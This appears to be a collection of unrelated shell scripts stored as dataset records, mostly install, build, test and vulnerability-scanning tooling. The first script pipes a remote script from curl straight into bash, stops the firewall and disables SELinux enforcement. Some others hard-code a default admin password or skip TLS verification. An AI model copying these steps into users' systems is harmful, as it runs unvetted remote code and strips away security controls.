https://raw.githubusercontent.com/ryuichi1208/install/main/nom/init.sh | bash\n\nsystemctl stop firewalld\nsetenforce 0\n\nyum update -y\nyum install -y \\\n epel-release \\\n wget \\\n vim \\\n bash-completion \\\n gcc \\\n git \\\n python3 \\\n yum-utils \\\n jq  \\\n net-tools \\\n bind-utils \\\n golang \\\n the_silver_searcher \\\n nkf \\\n readline-devel \\\n libsecret-devel\n\nif [[ ! -e /usr/local/bin/fzf ]]; then\n git clone https://github.com/junegunn/fzf.git ~/.fzf\n yes y | ~/.fzf/install\n mv ~/.fzf/bin/fzf /usr/local/bin/fzf\nfi\n\ncat << 'EOF' > ~/.bashrc\n\nalias rm='rm -i'\nalias cp='cp -i'\nalias mv='mv -i'\n\nif [ -f /etc/bashrc ]; then\n. /etc/bashrc\nfi\n\n[ -f ~/.fzf.bash ] && source ~/.fzf.bash\nEOF"} {"text": "#!/bin/bash\nset -Eeo pipefail\nDIR(){(cd \"$(dirname \"${BASH_SOURCE[1]}\")\" && pwd)}\n\nsource \"$(DIR)/cleanup.sh\"\nsource \"$(DIR)/log.sh\"\n\nfailures=0\n\narch=i686\nwhile read -r tarball\ndo\n # Derive other metadata filenames from tarball name.\n dirname=\"$(dirname \"$tarball\")\"\n pkgname=\"$(basename \"$tarball\" .tar.gz)\"\n dependencies=\"${dirname}/${pkgname}.dependencies\"\n\n # We're planning on making a mess - centralize it...\n make_temp_dir work\n\n # Test: scan dependencies for ${arch}-tools references.\n # Any references to these packages indicates dependency problems, as the\n # cross-compiled compilation toolchain should not be used for production\n # purposes due to the high possibility of bugs when the cross-compiled\n # toolchain is used for *anything* other than its primary use case of\n # building a natively-compiled toolcahin - however, dependency references \n # would cause them to be installed on production systems.\n depcheck=\"$work/${pkgname}.depcheck\"\n if grep -E '^[a-zA-Z0-9]+-tools2?-' \"$dependencies\" > \"$depcheck\" 2>&1\n then\n failures=\"$(expr \"$failures\" + 1)\"\n echo \"FAIL: ${pkgname} tools dependencies check\"\n else\n echo \"PASS: ${pkgname} tools dependencies check\"\n fi\n\n # Extract tarball so we can play with it.\n mkdir \"$work/tar_contents\"\n tar -C \"$work/tar_contents\" -xf \"$tarball\"\n\n # Test: scan contents for /tools/ references.\n # Any references to /tools/ at this point indicates linker/dependency\n # problems, as ${arch}-tools / ${arch}-tools2 packages will NOT be installed\n # alongside ${arch}-yak packages in production.\n found_tools=0\n while read -r filename\n do\n strip \"$filename\" >/dev/null 2>&1 || true\n\n if strings \"$filename\" | grep \"/tools/${arch}\" >/dev/null 2>&1\n then\n found_tools=1\n echo \"${pkgname} contains /tools/${arch}/ reference in $filename\" >&2\n fi\n done < <(find \"$work/tar_contents\" -type f)\n if (( \"$found_tools\" ))\n then\n echo \"FAIL: ${pkgname} tools references within contents check\"\n else\n echo \"PASS: ${pkgname} tools references within contents check\"\n fi\n\n # Clean up our mess.\n \"$(DIR)/recursive_umount.sh\" \"$work\"\n rm -rf \"$work\"\n unregister_temp_file \"$work\"\ndone < <(find /var/www/html/tgzrepo -iname \"$arch\"'-yak:*.tar.gz')\n\nif (( \"$failures\" <= 0 ))\nthen\n exit 0\nfi\nlog_rote \"found problems with $failures stage3 (yak) packages\"\nexit 1"} {"text": "keirwilliamsxyz/keirxyz\n#!/bin/bash\n#//KEIR.xyz | .sh master v0.1 | November 2021\n#//////////////////////////////////////\n#//SET DEFAULT VALUES\nSH=$(basename -- \"$0\")\nSH_NAME=\"${SH%.*}\"\nTIME=$(date +\"%T\") #current time\nDATE=$(date +\"%D\") #current date\nUSER=\"keirwilliams\" #default user\nPASS=\"!@\" #default password\nEMAIL=\"\" #default email\nGM_PATH=\"/mnt/gm\" #default GDrive mount\nSSD_PATH=\"/mnt/ssd\" #default SSD mount\nHOME_PATH=\"/home/pi\" #default home\nSH_PATH=\"$HOME_PATH/sh/\" #default script path\nDK_PATH=\"$HOME_PATH/dk/\" #default docker path\nCF_PATH=\"$HOME_PATH/cf/\" #default config path\nLOG_PATH=\"/home/logs\" #default log path\nLOG=\"$LOG_PATH/$SH_NAME.log\"\nU=$(whoami) #script user\n#//ECHO VALUES\nL=\"///////////////////////////////////////\" #line\nS2=\"//\" #heading\nS=\"///\" #subheading\n#//////////////////////////////////////\n#///LOG SETUP /////////////////////////\n#// Print to log and console.\nexec > >(tee -i $LOG_PATH/$LOG.log)\nexec 2>&1\n#//HEADER\necho\necho \"$L\"\necho \"$S2 keir.xyz | [$DATE $TIME] /////\"\necho \"$S2 Log: [$LOG]\"\necho \"$S2 [$SH]\"\necho \"$L\"\n#\n#//////////////////////////////////////\n#//RCLONE INSTALL////v0.1/////////////////\n#//RCLONE CONFIG VALUES\nRC_CF_MV=\"/home/pi/.config/rclone/rclone.conf\" #git conf imported location\nRC_SYS_MV=\"/etc/systemd/system/rclone.service\" #git service imported location\nRC_CF=\"/home/pi/.config/rclone/rclone.conf\" #local conf location\nRC_SYS=\"/etc/systemd/system/rclone.service\" #local service location\nRC_SER=\"rclone.service\" #rclone service name \n#///RCLONE GIT VALUES \nRC_CF_URL=\"\" #git conf URL\nRC_SYS_URL=\"\"\n#///INSTALL RCLONE\necho \"$L\"\necho \"$S2 install rclone\"\ncd ~\nsudo wget https://downloads.rclone.org/rclone-current-linux-arm.zip\nsudo unzip -j -d rclone-temp rclone-current-linux-arm.zip\nsudo mv ~/rclone-temp/rclone /usr/bin/rclone\nsudo mv ~/rclone-temp/rclone.1 /usr/share/man/man1/rclone.1\nsudo chown root: /usr/bin/rclone\nsudo rm ~/rclone-current-linux-arm.zip\nsudo rm -r -f ~/rclone-temp§\n#//CONFIG RCLONE\necho \"$L\"\necho \"$S2 configure rclone\"\nsudo git pull \"$RC_CF_URL\"\nsudo mv $RC_CF_MV $RC_CF\nsudo chmod -R a=,a+rX,u+w,g+w $RC_CF $RC_SYS\n#//TEST RCLONE CONFIG\necho \"$L\"\necho \"$S2 test rclone config\"\nrclone listremotes --long\n#//SETUP RCLONE SERVICE\necho \"$L\"\necho \"$S2 setup rclone service\"\nsudo git pull \"$RC_SYS_URL\"\nsudo mv $RC_SYS_MV $RC_SYS\nsudo systemctl start rclone.service\nsudo systemctl enable rclone.service\nsudo systemctl daemon-reload\nsudo systemctl status rclone.service | tail -f -n 5\n#//TEST RCLONE SERVICE\necho \"$L\"\necho \"$S2 test rclone service\"\nrclone lsd gm: -v\n#//EXIT\necho\necho \"$L\"\necho \"$S2 Exit $SH_NAME $TIME\"\necho \"$S2 Log: [$LOG]\"\necho \"$L\"\necho\nexit 0"} {"text": "scripts/generate-f16-vsqrt.sh0\n#!/bin/sh\n# Copyright 2022 Google LLC\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree.\n\n################################### ARM NEON ##################################\ntools/xngen src/f16-vsqrt/neonfp16arith-sqrt.c.in -D BATCH_TILE=8 -o src/f16-vsqrt/gen/neonfp16arith-sqrt-x8.c &\ntools/xngen src/f16-vsqrt/neonfp16arith-sqrt.c.in -D BATCH_TILE=16 -o src/f16-vsqrt/gen/neonfp16arith-sqrt-x16.c &\n\n################################### x86 F16C ##################################\ntools/xngen src/f16-vsqrt/f16c-sqrt.c.in -D BATCH_TILE=8 -o src/f16-vsqrt/gen/f16c-sqrt-x8.c &\ntools/xngen src/f16-vsqrt/f16c-sqrt.c.in -D BATCH_TILE=16 -o src/f16-vsqrt/gen/f16c-sqrt-x16.c &\n\n################################## Unit tests #################################\ntools/generate-vunary-test.py --spec test/f16-vsqrt.yaml --output test/f16-vsqrt.cc &\n\nwait"} {"text": "yunggaming/PUBGT-Websitedeploy.sh\n#!/bin/bash\nset -v\n\nng build --prod\nnpx ngh"} {"text": "echo 'coctohug-cactus web_launch working'\nnpm start --prefix /coctohug/web"} {"text": "functions/take_data.sh\n# Utility function for individual role. I do not anticipate to call this\n# elsewhere, so for now it can stay in this file.\n\nfunction take_row {\n\tITERATION=$1\n\tFILE=$2\n\t# Could validate $PROJECT & OUTPUT here, but I do not anticipate to\n\t# call this function directly.\n\n \tCOLS=$( cat $YAML | yq \".${PROJECT}.cols\" | yq 'join(\" \")' )\n \tlocal input\n \tlocal row\n \t# Lazy way of wrapping entry in double quotes.\n \trow+='\"'\n \trow+=\"${FILE}\"\n \trow+='\",'\n \tNAME=\"$(basename ${FILE})\"\n \tID=\"${NAME%.*}\"\n \trow+='\"'\n \trow+=\"${ID}\"\n \trow+='\",'\n\n\tprint_piece $FILE\n \tfor col in $COLS; do\n \t\techo \"Input for ${col} (or 'x' to skip):\"\n \t\tread -e -p \"> \" input\n \t\tinput=${input//\\\"\\'}\n \t\tif [[ $input == \"x\" ]]; then\n \t\t\tinsert_iteration_ \"${ITERATION}\" \"${FILE}\"\n \t\t\treturn 0\n \t\tfi\n \t\trow+='\"'\n \t\trow+=\"${input}\"\n \t\trow+='\",'\n \tdone \n \t# Remove trailing comma\n \trow=${row%?}\n \techo \"${row}\" >> \"${OUTPUT}\"\n \tinsert_iteration_ \"${ITERATION}\" \"${FILE}\"\n \treturn 0\n}\n\n# Open documents one by one and take some data to be written to an\n# output file.\n\nfunction take_data {\n\t# TODO: Need to implement a function to validate csv--if there are cols\n\t# added to the yaml we want to collect additional data only.\n\tITERATION=$1\n\tshift\n\t# filter_folder to allow for continuing an iteration.\n\tto_code=($(filter_folder \"\" $ITERATION $@ ))\n\tset -- \"${to_code[@]}\"\n\n\n\tif [[ -z $PROJECT ]]; then\n\t\techo \"No project selected!\"\n \t\texit 1\n \tfi\n \tif [[ -z $OUTPUT ]]; then\n\t\techo \"No output file selected!\"\n \t\texit 1\n \tfi\n\n \t# For debugging:\n\tif [ \"$VERBOSE\" = true ]; then\n\t\techo \"Iteration: $ITERATION\"\n\t\techo \"YAML: $YAML\"\n\t\techo \"Project: $PROJECT\"\n\t\techo \"Output: $OUTPUT\"\n\t\t#TODO: this may yield negative result.\n\t\tmore=$(($# - 3))\n\t\techo \"Files to code: $1, $2, $3 and $more more.\"\n\tfi\n\n\t# Writing header row.\n \tif [[ ! -f \"${OUTPUT}\" ]]; then\n \t\ttouch \"${OUTPUT}\"\n \t\tCOLS=\"file,id,\"\n \t\tCOLS+=\"$( cat $YAML | yq \".${PROJECT}.cols\" | yq 'join(\",\")' )\"\n \t\techo \"${COLS}\" >> \"${OUTPUT}\"\n \tfi\n\n \t#TODO: I am sure there is a built-in way to get index of positional arguments.\n \tlocal index=1\n \tfor i; do\n \t\tprintf \"\\n## Viewing document ${index} of $#\"\n\t\ttake_row \"${ITERATION}\" $i\n\t\tlet index+=1\n \tdone\n\n}"} {"text": "#!/bin/bash\n#\n# SPDX-License-Identifier: Apache-2.0\n#\n\nset -e\n\nORG_NAME=\"importer\"\n\nfabric-ca-client enroll -u http://admin:adminpw@ca:7054 --mspdir admin\n\nfabric-ca-client register --id.name ${ORG_NAME} --id.secret --id.type user \\\n --id.attrs \"tradelimit=1000:ecert\" -u http://ca:7054\n\nfabric-ca-client enroll -u http://${ORG_NAME}:pwd1@ca:7054 \\\n --enrollment.attrs \"tradelimit,email:opt\" --mspdir ${ORG_NAME}\n\nmkdir ~/.fabric-ca-client/${ORG_NAME}/admincerts\ncp -p ~/.fabric-ca-client/${ORG_NAME}/signcerts/* ~/.fabric-ca-client/${ORG_NAME}/admincerts"} {"text": "#!/bin/bash\n# Useage:\n# COIN_CONFIG_DIR=/absolute/path/to/model/altcoin sh bash/makecoin.sh\n#\n\nCOIN_CONFIG_FILE=$COIN_CONFIG_DIR/coin.cfg\n\nif [ -n \"$COIN_CONFIG_DIR\" -a -d \"$COIN_CONFIG_DIR\" -a -f \"$COIN_CONFIG_FILE\" ] ; then \n\techo Loading configuration from \"$COIN_CONFIG_DIR\"\nelse \n\techo $COIN_CONFIG_DIR is not valid directory; \n\texit -2; \nfi\n\n\nfunction getValue(){\n\tvalue=$(grep \"$1=.*\" \"$COIN_CONFIG_FILE\" | sed -e \"s/.*=\\(.*\\)/\\1/g\" ) \n\techo -n $value;\n}\n\necho Step 0: loading configuration variables\n\tAnyCoin=$(getValue \"name\") ; \n\tAnyCoin_Lower=$(getValue \"name_lower\");\n\tAnyCoin_zh_CN=$(getValue \"name_zh_CN\"); \n\tAnyCoinUint=$(getValue \"unit\");\n\tAnyCoinUintUpper=$(getValue \"unit_upper\");\n\necho Step 1: replace images\n\tcp -rf $COIN_CONFIG_DIR/src ./\n\tcp -rf $COIN_CONFIG_DIR/share ./\n\necho Step 2: replace locale text\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" configure.ac\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/qt/locale/bitcoin_en.ts\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/qt/guiconstants.h\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/qt/res/bitcoin-qt-res.rc\n\tsed -i -e \"s/快钱/$AnyCoin_zh_CN/g\" src/qt/locale/bitcoin_zh_CN.ts\n\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/qt/bitcoinunits.cpp\n\tsed -i -e \"s/FTC/$AnyCoinUintUpper/g\" src/qt/bitcoinunits.cpp\n\tsed -i -e \"s/FTC/$AnyCoinUintUpper/g\" src/qt/guiutil.cpp\n\tsed -i -e \"s/ftc/$AnyCoinUint/g\" src/qt/bitcoinunits.cpp\n\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/util.cpp\t\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/bitcoin-cli.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/clientversion.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/init.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/miner.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/rpcdump.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/rpcmining.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/rpcmisc.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/rpcnet.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/rpcprotocol.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/rpcrawtransaction.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/rpcserver.cpp\n\tsed -i -e \"s/FastCoin/$AnyCoin/g\" src/rpcwallet.cpp\n\t\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/util.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/bitcoin-cli.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/clientversion.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/init.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/miner.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/rpcdump.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/rpcmining.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/rpcmisc.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/rpcnet.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/rpcprotocol.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/rpcrawtransaction.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/rpcserver.cpp\n\tsed -i -e \"s/fastcoin/$AnyCoin_Lower/g\" src/rpcwallet.cpp"} {"text": "compile.sh\n#!/bin/bash\n\n\nif [ \"$1\" = \"test\" ] ; then\n BUILD_DIR=\"tests/build/\"\n MAIN_FILE=\"tests/TestMain.ts\"\n TARGET_DIR=\"tests/\"\n SOURCES=`find $TARGET_DIR -maxdepth 1 -name \"*.ts\"`\nelse\n BUILD_DIR=\"build/\"\n MAIN_FILE=\"main.ts\"\n TARGET_DIR=\".\"\n SOURCES=`find $TARGET_DIR -maxdepth 1 -name \"*.ts\"`\nfi\n\necho \"I'm compiling the following files:${SOURCES[@]}\"\n\n\ntsc --target \"ES5\" --module \"amd\" $MAIN_FILE\n\nif [ $? -ne 0 ] ; then\n echo \"Some files failed to compile. Terminating the process...\"\n exit 1\nfi\n\necho \"All files compiled\"\necho \"Now moving generated files to the build directory...\"\n\nTARGETS=(`find $TARGET_DIR -maxdepth 1 -name \"*.js\"`)\n\necho \"First clean the build directory...\"\nrm \"$BUILD_DIR*\"\n\necho \"And then move...\"\nfor FILE in ${TARGETS[@]} ; do\n mv -u $FILE $BUILD_DIR\ndone\n\necho \"Successfully compiled!\""} {"text": "#!/bin/bash\n\ndocker build . --force-rm -t efaruk/monoserver"} {"text": "#!/bin/bash\r\n\r\nSITE_NAME=\"debarunpal.com\"\r\n\r\n##################### DO NOT MODIFY ANYTHING BELOW THIS LINE #########################\r\n\r\ncd csr\r\n\r\nmkdir $SITE_NAME\r\n\r\ncd $SITE_NAME\r\n\r\nopenssl req -new -newkey rsa:2048 -nodes -keyout server.key -out server.csr\r\n\r\ncd ..\r\n\r\ncp -R $SITE_NAME /home/ubuntu/"} {"text": "#! /bin/bash\n\nplatform=\"$1\"\napp=\"$2\"\nmode=\"$3\"\nwebpackmode=\"development\"\ncordovamode=\"\"\n\nif [ -z \"$platform\" ]\nthen\nplatform=\"android\"\nfi\n\nif [ -z \"$mode\" ]\nthen\nmode=\"d\"\nfi\n\nif [ -z \"$app\" ]\nthen\napp=\"paid\"\nfi\n\nif [ \"$mode\" = \"p\" ] || [ \"$mode\" = \"prod\" ]\nthen\nmode = \"p\"\nwebpackmode=\"production\"\ncordovamode=\"--release\"\nfi\n\nRED=''\nNC=''\nscript1=\"node ./utils/config.js $mode $app\"\nscript2=\"webpack --progress --mode $webpackmode \"\nscript3=\"node ./utils/loadStyles.js\"\nscript4=\"cordova build $platform $cordovamode\"\neval \"\necho \\\"${RED}$script1${NC}\\\";\n$script1;\necho \\\"${RED}$script2${NC}\\\";\n$script2&&\necho \\\"${RED}$script3${NC}\\\";\n$script3;\necho \\\"${RED}$script4${NC}\\\";\n$script4\n\""} {"text": "test.sh\n#!/usr/bin/env bash\nset -e\ncd \"$(dirname \"$0\")\"\nVERSION_SUFFIX=\nif [ ! -z \"$1\" ]; then VERSION_SUFFIX=\"--version-suffix $1\"; fi\n./build.sh\nfor c in Debug Release; do\n dotnet test --no-restore --no-build -f netcoreapp1.0 -c $c NCrontab.Tests\ndone"} {"text": ".NET/scripts/inst_monogame.sh\n#!/bin/bash\n\nif tr_isSetAndNotFalse MONOGAME; then\n echo \"MONOGAME is set to [$MONOGAME]. Installing.\"\n \n VERSION=$MONOGAME\n\n if [ \"$MONOGAME\" = \"latest\" ]; then\n VERSION=$(curl -s https://api.github.com/repos/MonoGame/MonoGame/releases/latest | grep -oP '\"tag_name\": \"\\K(.*)(?=\")')\n fi\n \n echo \"MonoGame version is [$VERSION]\"\n wget https://github.com/MonoGame/MonoGame/releases/download/$VERSION/monogame-sdk.run\n chmod +x monogame-sdk.run\n \n # We have to answer 'yes' once...\n sudo ./monogame-sdk.run << 'EOF'\nY\nEOF\n\n # Install TTF files.\n echo \"Installing TTF files\"\n mkdir -p ~/.local/share/fonts\n cp Travis-Install/*.ttf ~/.local/share/fonts/\n echo \"Refreshing font cache\"\n fc-cache -f -v\nfi"} {"text": "YubicoLabs/u2f-prereg-demo1-10\n#!/usr/bin/env bash\n\n# This script takes .tsv files containing preregistrations and uploads them\n# to the demo server, associating each one with a username.\n#\n# The expected format of the preregistration data is a .tsv (tab-separated\n# values) file containing in each row:\n# 1. Serial # (decimal)\n# 2. AppId (32 hex encoded bytes)\n# 3. Challenge (base64 encoded - same as client data hash)\n# 4. PublicKey (base64 encoded)\n# 5. KeyHandle (urlsafe base64 encoded)\n# 6. Signature (base64 encoded ANSI X9.62/SEC1 ECDSA P256)\n# 7. Attestation Certificate (base64 encoded X509 DER)\n# 8. Timestamp - (YYYY-MM-DDTHH:mm:ss - ex: 2018-01-01T12:34:56)\n\nusage ()\n{\n echo 'Usage: ./load_preregistration.sh [username(s)...]'\n echo \"Runs the 'preregister/finish' API call on , for every line in .\"\n echo 'The number of usernames supplied must match number of lines in tsv file.'\n echo\n echo ' Example:'\n echo ' ./load_preregistration.sh localhost:8443 regs.tsv sam jane'\n echo ' [where regs.tsv has 2 lines]'\n exit\n}\n\nif [ \"$#\" -lt 3 ]\nthen\n usage\nfi\n\nif [ ! -f $2 ]; then\n echo \"File '$2' not found.\"\n usage\nfi\n\nlines=$(wc -l < $2 | xargs) # trims whitespace\nnumlines=${lines/.*}\nnumusers=\"$(($#-2))\"\nif [ \"$numusers\" -ne \"$numlines\" ]\nthen\n echo \"Got a tsv file with $numlines lines, but got $numusers usernames.\"\n usage\nfi\n\ni=3\nwhile read f; do\n # escape the tsv row\n tsvcontent=$(echo $f | sed $'s; ;\\\\\\\\t;g')\n # random base64url user id\n arbitraryid=$(base64 < /dev/urandom | tr -d 'O0Il1+\\' | head -c 86 | sed 's/+/-/g; s/\\//_/g')\n # make the API call\n output=$(curl --insecure -X POST \\\n \"https://$1/api/v1/preregister/finish\" \\\n -H 'Accept: */*' \\\n -H 'Accept-Encoding: gzip, deflate' \\\n -H 'Cache-Control: no-cache' \\\n -H 'Connection: keep-alive' \\\n -H 'Content-Type: application/json' \\\n -H \"Host: $1\" \\\n -H 'cache-control: no-cache' \\\n -d \"{\n \\\"tsvRow\\\":\\\"$tsvcontent\\\",\n \\\"user\\\": {\\\"name\\\":\\\"${!i}\\\", \\\"displayName\\\":\\\"No Display Name\\\", \\\"id\\\": \\\"$arbitraryid\\\"}\n }\")\n echo\n echo $output\n echo\n ok=$?\n if [ $ok -eq 0 ]; then\n if [[ $output == *\"success\"* ]]; then\n echo \"Successfully loaded preregistration '${!i}'.\"\n else\n echo \"Failed to load preregistration for '${!i}'.\"\n fi\n else\n echo \"Failed to send preregistration '${!i}'.\"\n fi\n echo\n i=$((i+1))\ndone <$2"} {"text": "0\n#!/usr/bin/env bash\n\nMAJOR_SEPARATOR='================================================================================'\nMINOR_SEPARATOR='--------------------------------------------------------------------------------'\n\n# These vulnerabilities pertain to the Docker engine (or proprietary distributions), but only the Python client is included in the images\nDOCKER=\"CVE-2017-7297 CVE-2019-13139 CVE-2019-13509 CVE-2019-16884 CVE-2019-5736\"\n# This vulnerability is fixed in JupyterLab 3.2.0, but was still flagged after we moved to that version\nFIXED_IN_JUPYTER_3_2_0=\"CVE-2021-32797\"\n# These vulnerabilities are fixed in newer versions of TensorFlow, but not in 1.15, which is out of maintenance and no longer our default\nTENSORFLOW_1_15=\"GHSA-2r8p-fg3c-wcj4 GHSA-4xfp-4pfp-89wg GHSA-5xwc-mrhx-5g3m GHSA-6gv8-p3vj-pxvr GHSA-6p5r-g9mq-ggh2 GHSA-7fvx-3jfc-2cpc GHSA-8pmx-p244-g88h GHSA-9c8h-vvrj-w2p8 GHSA-c5x2-p679-95wc GHSA-c9qf-r67m-p7cg GHSA-cgfm-62j4-v4rf GHSA-cwv3-863g-39vx GHSA-f5cx-5wr3-5qrc GHSA-f8h4-7rgh-q2gm GHSA-fcwc-p4fc-c5cc GHSA-g25h-jr74-qp5j GHSA-g8wg-cjwc-xhhp GHSA-gh6x-4whr-2qv4 GHSA-h4pc-gx2w-f2xv GHSA-hpv4-7p9c-mvfr GHSA-hwr7-8gxx-fj5p GHSA-jf7h-7m85-w2v2 GHSA-m7fm-4jfh-jrg6 GHSA-q3g3-h9r4-prrc GHSA-qr82-2c78-4m8h GHSA-r4c4-5fpq-56wg GHSA-r6jx-9g48-2r5r GHSA-v768-w7m9-2vmm GHSA-v82p-hv3v-p6qp GHSA-w4xf-2pqw-5mq7 GHSA-w74j-v8xh-3w5h GHSA-wp77-4gmm-7cq8\"\n\nIGNORED_VULNERABILITIES=\" ${DOCKER} ${FIXED_IN_JUPYTER_3_2_0} ${TENSORFLOW_1_15} \"\n\n# Exit codes\nSUCCESS=0\nINVALID_ARGS=1\nMISSING_DEPENDENCIES=2\nVULNERABILITIES_FOUND=3\n\n\nfunction print_usage_and_exit_with_error() {\n echo ${MAJOR_SEPARATOR}\n echo Error: ${1}\n echo\n echo Usage:\n echo \n echo \" ${0} path/to/bumpenvs.yaml\"\n echo ${MAJOR_SEPARATOR}\n exit ${INVALID_ARGS}\n}\n\nif [ ${#} -ne 1 ]; then\n print_usage_and_exit_with_error \"${#} arguments received, expected 1\"\nfi\n\nif [ ! -f ${1} ]; then\n print_usage_and_exit_with_error \"File ${1} does not exist\"\nfi\n\nBUMPENVS=${1}\n\nfor command in anchore-cli awk curl docker-compose grep jq yq; do\n if ! which ${command} > /dev/null; then\n echo ${0} requires ${command}\n exit ${MISSING_DEPENDENCIES}\n fi\ndone\n\n# Set up Anchore Engine\nCOMPOSE_FILE=/tmp/determined-anchore-engine.yaml\ncurl https://engine.anchore.io/docs/quickstart/docker-compose.yaml > ${COMPOSE_FILE}\ndocker-compose -f ${COMPOSE_FILE} up -d\n\n# Configure Anchore CLI\nexport ANCHORE_CLI_USER=admin\nexport ANCHORE_CLI_PASS=\n\ntimeout 30 bash -c \"while ! anchore-cli image list; do sleep 1; done\"\n\n# Start download and scanning\nIMAGES=$(yq eval -o=p ${BUMPENVS} | grep '_hashed.new = ' | awk '{ print $3 }')\nfor image in ${IMAGES}; do\n anchore-cli image add ${image}\ndone\n\n# Wait on results\nIMAGES=$(yq eval -o=p ${BUMPENVS} | grep '_hashed.new = ' | awk '{ print $3 }')\n\nfor image in ${IMAGES}; do\n anchore-cli image wait ${image}\ndone\n\n# Check results\ntotal_failures=0\nfor image in ${IMAGES}; do\n echo \"${MAJOR_SEPARATOR}\"\n echo \"${image}\"\n echo \"${MINOR_SEPARATOR}\"\n # Run the following for a full report: anchore-cli image vuln ${image} all\n output=$(anchore-cli --json image vuln ${image} all | jq -r '.vulnerabilities[] | select(.severity == \"High\" or .severity == \"Critical\") | .vuln')\n file_failures=0\n while IFS= read -r vulnerability; do\n if [[ ${IGNORED_VULNERABILITIES} == *\"${vulnerability}\"* ]]; then\n continue\n fi\n file_failures=$((file_failures+1))\n total_failures=$((total_failures+1))\n echo \"${vulnerability}\"\n done <<< \"${output}\"\n echo ${file_failures} critical or high severity vulnerabilities found in image\ndone\n\necho ${MAJOR_SEPARATOR}\necho ${total_failures} critical or high severity vulnerabilities found in total\n\ndocker-compose -f ${COMPOSE_FILE} down\n\nif [ ${total_failures} -gt 0 ]; then\n exit ${VULNERABILITIES_FOUND}\nfi\n\nexit ${SUCCESS}"} {"text": "#!/bin/bash\n\nread proc < .pid_splunge\nkill -9 $proc"} {"text": "Gyman5/RAT2\n#!/bin/bash -ev\n\nmkdir -p ~/.ratcoin\necho \"rpcuser=username\" >>~/.ratcoin/ratcoin.conf\necho \"rpcpassword=`head -c 32 /dev/urandom | base64`\" >>~/.ratcoin/ratcoin.conf"} {"text": "10-100\n#!/bin/bash\n\n# script to run the necessary preprocessing steps before starting the wrf run\n\n# setting -e to abort on error\nset -e\n\n# define terminal colors\n. \"${COLOR_PATH}\"\n\n# cleaning up in wps preprocessing folder\nif [ -z \"${LOG_PATH}\" ]; then\n printf \" Log path is not set, exiting with error.\"\n exit 1\nfi\n\nprintf \"Cleaning up wps data from last time at %s\\\\n\" \"$(date +\"%T\")\" >> \"${INFO_LOG}\"\nif [ -z \"${BUILD_PATH}\" ]; then\n printf \" Build path is not set, exiting with error.\"\n exit 1\nfi\n\n# remove met_em files from the last run\nfind \"${WPS_DIR}\" -name 'met_em.d01.*' -exec rm {} \\;\n\n# remove grib files\nfind \"${WPS_DIR}\" -name 'GRIB*' -exec rm {} \\;\n\n# remove FILE objects of the time stamps\nfind \"${WPS_DIR}\" -name 'FILE*' -exec rm {} \\;\nfind \"${WPS_DIR}\" -name 'PFILE*' -exec rm {} \\;\n\n# cleaning up in wrf\nprintf \"Cleaning up wrf data from last time at %s\\\\n\" \"$(date +\"%T\")\" >> \"${INFO_LOG}\"\n\n# remove met_em files from the last run\nfind \"${WRF_DIR}/test/em_real/\" -name 'met_em.d01.*' -exec rm {} \\;"} {"text": "#!/bin/bash\n\nCUSTOM_FILE=/opt/Bela/local/`basename $0`\n[ -f $CUSTOM_FILE ] &&\\\n\t{ $CUSTOM_FILE; exit $?; }\n[ -z \"$BELA_HOME\" ] && BELA_HOME=/root/Bela\n[ \"$ACTIVE\" -eq 0 ] && {\n\techo \"No Bela project set to run on boot\" >& 2\n\t# this should not happen, and if it does, we prevent it from happening\n\t# again (till the next reboot!)\n\tmake -C \"$BELA_HOME\" stopstartup\n\texit 1\n}\n\nif [ \"$PROJECT\" = \"\" ]\nthen\n\t# run all projects called loop_* in a loop\n\tls \"$BELA_HOME\"/projects/loop_* &>/dev/null &&\\\n\twhile sleep 0.1; do\n\t\tfor PROJECT in \"$BELA_HOME\"/projects/loop_*; do\n\t\t\techo Running $PROJECT;\n\t\t\t/usr/bin/make -C /root/Bela PROJECT=`basename \"${PROJECT}\"` CL=\"${ARGS}\" runonly\n\t\tdone\n\tdone\nelse\n\t/usr/bin/make -C \"$BELA_HOME\" PROJECT=\"$PROJECT\" runonly CL=\"$ARGS\"\nfi"} {"text": "0\n#!/bin/bash\nset -e\n\n# check to see if protobuf folder is empty\nif [ ! -d \"$HOME/travis-phantomjs\" ]; then\n mkdir $HOME/travis-phantomjs\n wget https://s3.amazonaws.com/travis-phantomjs/phantomjs-2.0.0-ubuntu-12.04.tar.bz2 -O $HOME/travis-phantomjs/phantomjs-2.0.0-ubuntu-12.04.tar.bz2\n tar -xvf $HOME/travis-phantomjs/phantomjs-2.0.0-ubuntu-12.04.tar.bz2 -C 